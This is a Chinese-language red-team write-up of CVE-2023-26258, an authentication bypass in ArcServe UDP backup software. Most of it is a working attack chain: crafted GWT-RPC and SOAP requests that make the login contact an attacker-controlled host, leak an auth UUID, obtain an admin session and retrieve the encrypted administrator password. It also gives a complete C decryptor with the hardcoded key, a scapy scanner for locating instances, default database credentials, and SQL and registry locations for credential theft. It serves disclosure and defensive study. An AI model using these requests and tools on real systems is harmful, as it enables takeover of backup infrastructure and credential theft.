CVE-2023-26258 – ArcServe RCE分析

渗透技巧 10个月前 admin
291 0 0

CVE-2023-26258 – ArcServe RCE分析

概述

在最近的一次红蓝模拟里,MDSec ActiveBreach红队进行勒索软件场景攻击模拟,其主要目标是破坏组织的备份基础设施。

作为该模拟的一部分,对用于执行最常见备份的软件 ( ArcServe UDP ) 进行了详细分析。在分析代码几分钟内,就发现了一个关键的身份验证绕过,允许访问管理界面。

在本文中,我将分析影响 7.0 至 9.0 版本的漏洞根本原因,以及蓝方和红方专业人士可能感兴趣的其他有趣的攻击技术。

CVE-2023-26258 – ArcServe RCE分析

身份验证绕过

在分析 HTTP 请求流时,我们可以观察到在登录过程中发送的请求之一如下:

POST /contents/service/login HTTP/1.1Host: 192.168.56.10:8014Cookie: AGENTJSESSIONID=A20902BCB1FBFE1EEF99B4788DC24362User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: text/x-gwt-rpc; charset=utf-8X-Gwt-Permutation: 69C1E1E0891DA29292A9BA76888D3D04X-Gwt-Module-Base: <https://192.168.56.10:8014/contents/>Content-Length: 245Origin: <https://192.168.56.10:8014>Referer: <https://192.168.56.10:8014/>Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: close
7|0|10|https://192.168.56.10:8014/contents/|9D583B6834A20CE6C6975A0AA976C843|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|https:|EPIPELAGIC|SEVENKINGDOMS|vagrant|adepts|1|2|3|4|6|5|5|6|5|5|5|7|8|8014|9|10|11|
我们可以看到它通过 GWT RPC 使用序列化对象发送主体。它调用该方法validateUser并接收架构 ( https:)、服务器主机名 ( EPIPELAGIC)、域 ( SEVENKINGDOMS)、用户名 ( vagrant) 和密码 ( adepts) 作为参数。

该功能可以在flash-webui.jar文件中找到:

public Boolean validateUser(HttpServletRequest req, String protocol, String host, int port, String domain, String username, String password, String logindetail) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {    logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - start");    if (StringUtil.isEmptyOrNull(username))      throw generateException(FlashServiceErrorCode.Login_UsernameRequired);    if (StringUtil.isEmptyOrNull(password))      throw generateException(FlashServiceErrorCode.Login_PasswordRequired);    HttpSession session = req.getSession();    WebServiceClientProxy client = null;    LoginDetail detail = null;    try {      logger.debug(protocol + host + port);      client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");      setServiceClient(req, client);      detail = client.getService().validateUserWithDetail(username, password, domain, logindetail);      setLocalWebServiceClient(client);    } catch (WebServiceException exception) {      logger.error("Error occurs during validate user...");      logger.error(exception.getMessage());      if (exception.getCause() instanceof Error && exception.getMessage().startsWith("Undefined operation name"))        throw generateException(FlashServiceErrorCode.EDGE_D2D_INTERFACE_MISMATCH);      proccessAxisFaultException(exception);    }    HostInfo hostInfo = new HostInfo();    hostInfo.setName(host);    hostInfo.setUsername(username);    session.setAttribute(SessionConstants.SRING_DOMAIN, domain);    session.setAttribute(SessionConstants.SRING_USERNAME, username);    session.setAttribute(SessionConstants.SRING_PASSWORD, password);    session.setAttribute(SessionConstants.SRING_UUID, "");    session.setAttribute(SessionConstants.SRING_LOGIN_DETAIL, detail);    logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - end");    return Boolean.TRUE;  }

从上面的代码中可以看出,validateUser方法创建了一个“客户端”,它将充当代理,与负责验证所提供凭据的 WebService 独立通信。此 WebService 的位置以及所使用的架构(HTTP 或 HTTPs)是序列化对象中提供的信息。因此,如果我们阻止并编辑传输中的请求以修改序列化对象的值,我们就可以使该“客户端”联系我们控制的 HTTP 服务器。例如,让我们将“EPIPELAGIC”主机更改为“192.168.56.1”并建立一个最小的 HTTP 服务器来记录请求:

7|0|10|https://192.168.56.10:8014/contents/|9D583B6834A20CE6C6975A0AA976C843|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|http:|192.168.56.1|SEVENKINGDOMS|vagrant|1|2|3|4|6|5|5|6|5|5|5|7|8|7777|9|10|10|
在我们的记录器中,我们收到以下请求:
psyconauta@insulanova:/tmp|⇒  python3 loghttp.py 7777Starting httpd...<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUser xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>vagrant</arg0><arg1>vagrant</arg1><arg2>SEVENKINGDOMS</arg2></ns2:validateUser></S:Body></S:Envelope>192.168.56.10 - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>192.168.56.10 - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
我们可以看到它针对执行了两个SOAP请求/WebServiceImpl/services/FlashServiceImpl,第一个请求(validateUser我们在方法中看到的名称相同)带有凭据,第二个请求附加信息 ( getVersionInfo)。

如果我们复制此请求并针对原始 WebService 手动发送:

POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1Host: 192.168.56.20:8014Content-Length: 887
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
得到下一个响应:
HTTP/1.1 200Date: Sat, 04 Feb 2023 11:03:22 GMTServer: ApacheContent-Type: text/xml;charset=utf-8Content-Length: 2853
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfoResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:majorVersion>9</ns5:majorVersion><ns5:minorVersion>0</ns5:minorVersion><ns5:buildNumber>6034</ns5:buildNumber><ns5:locale>en</ns5:locale><ns5:country></ns5:country><ns5:timeZoneID>America/Los_Angeles</ns5:timeZoneID><ns5:timeZoneOffset>-28800000</ns5:timeZoneOffset><ns5:adminName>SEVENKINGDOMS\vagrant</ns5:adminName><ns5:localDriverLetters>C:\</ns5:localDriverLetters><ns5:localADTPackage>-1</ns5:localADTPackage><ns5:productType>2</ns5:productType><ns5:edgeInfoCM><ns5:edgeHostName>kingslanding.sevenkingdoms.local</ns5:edgeHostName><ns5:edgeUrl><https://kingslanding.sevenkingdoms.local:8015/management/></ns5:edgeUrl></ns5:edgeInfoCM><ns5:dataFormat><ns5:timeFormat>h:mm:ss a</ns5:timeFormat><ns5:shortTimeFormat>h:mm a</ns5:shortTimeFormat><ns5:timeDateFormat>M/d/yyyy h:mm:ss a</ns5:timeDateFormat><ns5:dateFormat>M/d/yyyy</ns5:dateFormat></ns5:dataFormat><ns5:isX86>false</ns5:isX86><ns5:isHyperVRoleInstalled>false</ns5:isHyperVRoleInstalled><ns5:isDedupInstalled>false</ns5:isDedupInstalled><ns5:isWin8>true</ns5:isWin8><ns5:isReFsSupported>true</ns5:isReFsSupported><ns5:osName>Windows Server 2019 Datacenter Evaluation</ns5:osName><ns5:hostName>kingslanding</ns5:hostName><ns5:osMajorVersion>10</ns5:osMajorVersion><ns5:osMinorVersion>0</ns5:osMinorVersion><ns5:osBuildNumber>17763</ns5:osBuildNumber><ns5:uefiFirmware>false</ns5:uefiFirmware><ns5:SQLServerInstalled>true</ns5:SQLServerInstalled><ns5:ExchangeInstalled>false</ns5:ExchangeInstalled><ns5:D2DInstalled>true</ns5:D2DInstalled><ns5:ARCserveBackInstalled>false</ns5:ARCserveBackInstalled><ns5:RPSInstalled>true</ns5:RPSInstalled><ns5:settingConfiged>false</ns5:settingConfiged><ns5:dotNetVersion>4.7</ns5:dotNetVersion><ns5:displayVersion>9.0</ns5:displayVersion><ns5:isInCloud>false</ns5:isInCloud><ns5:nodeUUID>d5936919-6cc3-4c8a-b570-bbd39f75ca17</ns5:nodeUUID><ns5:authUUID>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</ns5:authUUID></ns2:return></ns2:getVersionInfoResponse></S:Body></S:Envelope>
无需身份验证即可获取大量有趣的信息:操作系统版本+内部版本号、主机名、域和管理员帐户的名称。但还有一些有趣的东西:authUUID。如果我们再次检查validateUser下面的flash-webui.jar ,就会发现另一个有趣的方法:validateUserByUuid:
public Boolean validateUserByUuid(String uuid, String host, int port, String protocol) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {    logger.debug("validateUserByUuid(String, String, int, String) - start");    if (StringUtil.isEmptyOrNull(uuid))      throw generateException(FlashServiceErrorCode.Login_UUIDRequired);    WebServiceClientProxy client = null;    try {      client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");      setServiceClient(client);      client.getService().validateUserByUUID(uuid);      setLocalWebServiceClient(client);    } catch (WebServiceException exception) {      logger.error("Error occurs during validate user by uuid...");      logger.error(exception.getMessage());      proccessAxisFaultException(exception, false);    }    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_DOMAIN, "");    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_USERNAME, "");    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_UUID, uuid);    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_PASSWORD, "");    logger.debug("validateUserByUuid(String, String, int, String) - end");    return Boolean.TRUE;  }

如果我们 grep 查找此方法名称,我们可以发现它可以从VirtualStandbyServiceImpl.wsdl中描述的 WebService 中使用:

     <xs:complexType name="validateUserByUUID">        <xs:sequence>          <xs:element name="arg0" type="xs:string" minOccurs="0"/>        </xs:sequence>      </xs:complexType>
所以它只需要一个参数,即 UUID。当我们将它与之前找到的AuthUUID值一起使用时会发生什么?
POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"Host: 192.168.56.20:8014Content-Length: 964
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUID xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0></ns2:validateUserByUUID></S:Body></S:Envelope>
它通过会话响应 cookie(代理会话 ID …)
HTTP/1.1 200Date: Fri, 03 Feb 2023 22:01:07 GMTServer: ApacheContent-Type: text/xml;charset=utf-8Set-Cookie: AGENTJSESSIONID=D16CE41B84744598FD8BBD6D9A568CE1; Path=/WebServiceImpl; Secure; HttpOnlyContent-Length: 324
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUIDResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://data.webservice.arcflash.ca.com/xsd>"><ns2:return>0</ns2:return></ns2:validateUserByUUIDResponse></S:Body></S:Envelope>
找回管理员密码

一旦我们利用该漏洞获得了有效的管理员会话,接下来我们可以做的就是使用它与 WebService 交互并检索管理员密码。幸运的是,ArcServe 提供了一个名为getLocalHostAsTrust的方法,它返回加密的密码:

POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1Cookie: AGENTJSESSIONID=1D5290DAC2BBD2D98D97F8EDC594A7B7SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"Host: 192.168.56.20:8014Content-Length: 917
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrust xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"></ns2:getLocalHostAsTrust></S:Body></S:Envelope>
中大奖!!!
HTTP/1.1 200Date: Sat, 04 Feb 2023 11:12:14 GMTServer: ApacheContent-Type: text/xml;charset=utf-8Content-Length: 1625
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrustResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:name>KINGSLANDING</ns5:name><ns5:port>0</ns5:port><ns5:uuid>TkVGQRAHCSAYAAAAEGYAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACNN6wnCXQUv9XXeaqIvNyGjJ2C6dkWgkLGoLC4fym3LtFGinaud8DVix81Up1/aThbifZVqlRsu4R0T9P92JjvcVF6bKT6KrnHx6DCZALSTQ</ns5:uuid><ns5:userName>vagrant</ns5:userName><ns5:password>TkVGQRAHCSAYAAAAEGYAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACFPGHAnp8ZjTr6rqmN2Ghi</ns5:password><ns5:type>0</ns5:type><ns5:d2dVersion>9</ns5:d2dVersion></ns2:return></ns2:getLocalHostAsTrustResponse></S:Body></S:Envelope
要了解如何解密密码,我们必须关注edge-app-base-webservice-impl.jar。该文件包含一个名为XmlDecrypter的类,其内容如下:
package com.ca.arcserve.edge.app.base.common;
import com.ca.arcflash.webservice.jni.WSJNI;import java.io.IOException;import javax.xml.parsers.ParserConfigurationException;import javax.xml.transform.TransformerException;import org.xml.sax.SAXException;
public class XmlDecrypter extends BaseXmlCrypt { public static final XmlDecrypter CommonDecrypter = new XmlDecrypter(new String[] { "uuid", ".*password", "encryptionkey", "access_token", "client_secret", "token_cache" });
public XmlDecrypter(String[] matchTag) { super(matchTag); }
protected String doEncrypt(String s) { return WSJNI.AFDecryptStringEx(s); }
public String decryptXml_NoException(String xml) { return analyzeXml_NoException(xml); }
public String decryptXml(String xml) throws ParserConfigurationException, SAXException, IOException, TransformerException { return analyzeXml(xml); }}

doEncrypt方法从“WSJNI”调用本机函数。经过一番搜索后,我们发现AFCoreFunction.dll包含一个名为AFDecryptFromString的函数,其中包含下一段源代码(某些部分在逆向工程过程中被重命名):

1800dd8ac              CryptDecrypt_trucho = &CryptDecrypt_m;1800dd8bf              int32_t var_48_2 = 0x18;1800dd8c6              int32_t var_44_2 = 0x6610; //AES-2561800dd8ec              if ((mandanga_buena(&CryptDecrypt_trucho, nullptr) >= 0 && (r14_1 != 0 && r14_1 <= rbx_2)))1800dd8e9              {1800dd8f2                  arg_10 = r14_1;1800dd8f2              }1800ddb3f              CryptDecrypt_trucho = &CryptDecrypt_m;1800ddb6b              rbx_1 = 0xa;1800ddb77              void* const var_a8_2 = "AFSrvConfig::SaveAdminAccount";1800ddb8b              sub_18006e160(Username, 0, 0, "%s: Encrypt password failed");1800ddb7c          }
我们重命名为mandanga_buena 的函数如下所示:
1800ea2b0  uint64_t mandanga_buena(void* arg1, int16_t* arg2)1800ea2b0  {1800ea2c5      int32_t rsi = 0;1800ea2c7      void* const rbx = arg2;1800ea2d5      if ((arg2 == 0 || (arg2 != 0 && 0 == *(int16_t*)arg2)))1800ea2d2      {1800ea2d7          rbx = "Please input a valid password";1800ea2d7      }1800ea2e9      int32_t var_18 = 0xf0000000;1800ea2f3      BOOL rax = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000000);1800ea2fb      enum WIN32_ERROR rax_1;1800ea2fb      BOOL rax_2;1800ea2fb      uint64_t rax_4;1800ea2fb      if (rax == 0)1800ea2f9      {1800ea2fd          rax_1 = GetLastError();1800ea308          if (rax_1 == 0x80090016)1800ea303          {1800ea315              var_18 = 0xf0000008;1800ea31f              rax_2 = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000008);1800ea315          }1800ea327          if ((rax_1 != 0x80090016 || (rax_1 == 0x80090016 && rax_2 == 0)))1800ea325          {1800ea329              rax_4 = -1;1800ea329          }1800ea327      if ((rax != 0 || ((rax == 0 && rax_1 == 0x80090016) && rax_2 != 0)))1800ea325      {1800ea344          void* r15_1 = ((char*)arg1 + 0x10);1800ea34d          var_18 = r15_1;1800ea35a          if (CryptCreateHash(*(int64_t*)((char*)arg1 + 8), 0x8003, nullptr, 0, var_18) == 0)1800ea358          {1800ea35c              rax_4 = 0xfffffffe;1800ea35c          }1800ea363          else1800ea363          {1800ea363              int64_t rax_5 = -1;1800ea379              bool cond:0_1;1800ea379              do1800ea379              {1800ea370                  cond:0_1 = *(int16_t*)(((char*)rbx + (rax_5 << 1)) + 2) != 0;1800ea375                  rax_5 = (rax_5 + 1);1800ea375              } while (cond:0_1);1800ea390              if (CryptHashData(*(int64_t*)r15_1, rbx, ((int32_t)(rax_5 + rax_5)), 0) == 0)1800ea38e              {1800ea392                  rax_4 = 0xfffffffd;1800ea392              }1800ea3aa              else1800ea3aa              {1800ea3aa                  var_18 = ((char*)arg1 + 0x18);1800ea3bf                  if (CryptDeriveKey(*(int64_t*)((char*)arg1 + 8), *(int32_t*)((char*)arg1 + 0x24), *(int64_t*)r15_1, 0x1000004, var_18) == 0)1800ea3b8                  {1800ea3bf                      rsi = -4;1800ea3bf                  }1800ea3c2                  rax_4 = ((uint64_t)rsi);1800ea3c2              }1800ea3c2          }1800ea3c2      }1800ea3de      return rax_4;1800ea3de  }

正如我们所看到的,它使用字符串 Please input a valid password 作为种子来构建稍后在CryptDecrypt中使用的密钥。有了这些知识,构建一个解密器就很简单了:

#include <Windows.h>#include <stdio.h>
int main(int argc, char** argv) { printf("\t\t-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-\n\n"); HCRYPTPROV phProv = NULL; HCRYPTHASH phHash = NULL; HCRYPTKEY phKey = NULL;
BYTE enc[] = { 133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98 }; // Text to decrypt (base64 decode and take everything after 0x80 bytes)
BYTE key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 }; DWORD pdwDataLen = sizeof(enc);
if (!CryptAcquireContextW(&phProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { printf("[!] CryptAcquireContextW Failed!\n"); exit(-1); } if (!CryptCreateHash(phProv, CALG_MD5, NULL, 0, &phHash)) { printf("[!] CryptCreateHash Failed!\n"); exit(-1); } if (!CryptHashData(phHash, key, 58, 0)) { printf("[!] CryptHashData Failed!\n"); exit(-1); } if (!CryptDeriveKey(phProv, CALG_AES_256, phHash, 16777220, &phKey)) { printf("[!] CryptDeriveKey Failed!\n"); exit(-1); } CryptDecrypt(phKey, NULL, TRUE, 0, &enc, &pdwDataLen); printf("[+] Decrypted string: %S", enc);}

查找 ArcServe 实例

默认情况下,ArcServe 使用实例名称ARCSERVE_APP,因此我们可以利用SQL Browser Service向端口 UDP 1434 发送广播数据包并查看是否有主机回复它。

#!/usr/bin/env python3# ArcServeRadar by Juan Manuel Fernandez (@[email protected])
import sysimport threadingfrom scapy.all import *
udp_packet = bytearray.fromhex("0441524353455256455f415050") # ARCSERVE_APP
def ping(ip, iface, port): print("[*] Broadcasting") sendp(Ether()/IP(src=ip,dst="255.255.255.255")/UDP(dport=1434,sport=port)/Raw(load=udp_packet), verbose=False, iface=iface)
def check(pkt): origin = pkt[IP].src content = pkt[Raw].load if content != udp_packet: data = content[content.find(b"Server"):] print("\t[+] " + origin + " => " + data.decode("utf-8"))
def monitor(iface, port): print("[*] Starting to monitor") sniff(prn=check, filter="port " + str(port), iface=iface)
if __name__ == "__main__": print("\t\t-=[ ArcServe Finder - @[email protected] ]=-\n\n") if len(sys.argv) != 4: print("[!] Error. Usage: python3 ArcServeRadar.py <interface> <originport> <originip>") exit(-1) iface = sys.argv[1] port = int(sys.argv[2]) ip = sys.argv[3] x = threading.Thread(target=monitor, args=(iface,port,)) x.start() ping(ip, iface, port)

或者,如果未更改,可以使用以下默认凭据:

[MSSQL] Cleartext Username : arcserve_udp[MSSQL] Cleartext Password : @rcserveP@ssw0rd
获取管理控制台凭据的替代技术

即使漏洞被修补,也有可能通过不同的方式获取管理员用户的凭据。当然,所有这些都意味着某些特权或默认凭据。示例包括:

来自数据库:

如果 MSSQL 数据库仍配置有默认信用,我们可以执行两个选择查询:

select username,password from as_edge_connect_info;

另外,我们可以从数据库中找到管理服务器所在的位置:

select ipaddress,rhostname,osdesc from as_edge_host;
从注册表中:

凭据也保存在 Windows 注册表中,因此如果我们拥有具有足够权限的域/本地用户,我们可以使用远程注册表服务进行远程查询。地点是:

钥匙:

HKEY_LOCAL_MACHINE\SOFTWARE\Arcserve\Unified Data Protection\Engine

子键:

`AdminUser`
`AdminPassword`

工具

如果攻击者位于本地网络,则可以使用默认配置执行扫描以查找实例ArcServeRadar.py。

c:\Users\vagrant\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20                -=[ ArcServe Finder - @[email protected] ]=-

[*] Starting to monitor[*] BroadcastingWARNING: Mac address to reach destination not found. Using broadcast. [+] 192.168.56.10 => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
如果服务是默认配置的,则可以使用默认数据库凭据连接到之前获取的 IP 和端口,并使用 ArcServe-dbpwner.py 读取用户名/密码以及 ArcServe 实例所在的位置:
psyconauta@insulanova:/tmp|⇒  python3 arcserve-dbpwn.py -target 192.168.56.10 -port 62197    -=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) ]=-

[*] Connecting to the server[*] Login with default creds[*] Extracting credentials: [+] User: SEVENKINGDOMS\vagrant [+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter [+] User: SEVENKINGDOMS\vagrant [+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter[*] Finding hosts: [+] 192.168.56.10 | kingslanding.sevenkingdoms.local | Windows Server 2019 Datacenter Evaluation [+] 192.168.56.10 | kingslanding.sevenkingdoms.local | NULL

Have a nice day! ^_^
这些工具检索到的所有密码都可以使用ArcServeDecrypter.exe进行解密。只需编辑 C 代码来添加数组,编译并执行它:
C:\Users\vagrant>C:\Users\vagrant\source\repos\ArcServeDecrypter\x64\Debug\ArcServeDecrypter.exe                -={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-
[+] Decrypted string: vagrant
如果用户在安装 ArcServe 的服务器上具有本地管理员权限,则可以使用远程注册表服务 ( arcserve-regkeys.py ) 读取凭据:
